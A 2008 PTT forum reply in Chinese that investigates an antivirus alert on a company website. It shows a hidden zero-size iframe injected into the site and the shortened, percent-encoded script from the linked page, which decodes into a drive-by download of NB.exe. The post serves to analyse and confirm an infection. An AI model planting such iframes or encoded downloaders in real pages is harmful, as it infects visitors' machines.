作者idaer (這是個充滿老梗的世界)
看板AntiVirus
標題Re: [問題] 網頁中毒還是誤判?!
時間Tue Sep 30 13:36:23 2008
※ 引述《lynn1221 (Lynn)》之銘言：
: 這是普立爾相機台灣代理商─【麗映通】的網站
: www.imagefamily.com
: 點進去後，卡巴會跳出【檔案包含特洛依木馬程式】。
: 打電話去問時，公司的人是說網頁沒有問題........
: 想請問這網頁是真的中毒了，還是只是卡巴的誤判?!
www.imagefamily.com的網站原始碼裡有:
<iframe src='hxxp://www.moatech.co.kr/index.html' width='0' height='0'
frameborder='0'></iframe>
你把
hxxp: // www . moatech . co . kr / index.html
抓下來會發現下段原始碼(被加密的地方太長 我把它改短了XD)
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var text =
"%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63%72%69%70%7
4%22%3E%0D%0A%6F%6E%20%65%72%72%6F%72%20%72%65%73%75%6D%65%20%6E%65%78%74%0D%0
A%64%6C%20%3D%20%22%68%74%74%70%3A%2F%2F%77%77%77%2E%74%6B%67%72%6F%75%70%2E%6
3%6F%2E%6B%72%2F%6A%73%2F%4E%42%2E%65%78%65%22%0D%0A%53%65%74%20%64%66%20%3D%2
0%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%22%6F%6
2%6A%65%63%74%22%29%0D%0A%64%66%2E%73%65%74%41%74%74%72%69%62%75%74%65%20%22%6
3%6C%61%73%73%69%64%22%2C%20%22%63%6C%73%6
function unescape_text(){
document.write(unescape(text));}
unescape_text();
// -->
</SCRIPT></HEAD>
<BODY>
</BODY>
</HTML>
將上段亂碼解密之後 會發現 此html會嘗試幫你下載
hxxp: / / www . tkgroup . co . kr / js / NB.exe
恩...所以請相信卡巴的判斷吧 XD
附上VT上報告:
http://www.virustotal.com/zh-tw/analisis/a3e7abeba8ea157af4078a71bee72136
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 220.138.65.145
※ 編輯: idaer 來自: 220.138.65.145 (09/30 13:48)
※ 編輯: idaer 來自: 220.138.65.145 (09/30 13:51)
推 junorn:執行後產生%systemroot%\system32\nbjs.dll並修改BITS服務 09/30 13:52
→ junorn:數值，老毒了...我都從EF清單中拿掉了沒想到還有。 09/30 13:52
→ idaer:老毒 難怪VT上不少家廠商發現XD 09/30 13:54
推 lynn1221:感謝原po :) 09/30 14:16
推 vf130:可以請教原PO怎麼解密嗎?要用什麼工具呢?謝謝 10/01 01:47
→ idaer:ex: %u570b%u8a9e%u8fad%u5178+%u5b57%u5f62 然後按unescape 10/01 13:01
→ idaer:你就會看到上面的亂碼被還原成:國語辭典+字形 try it!! 10/01 13:02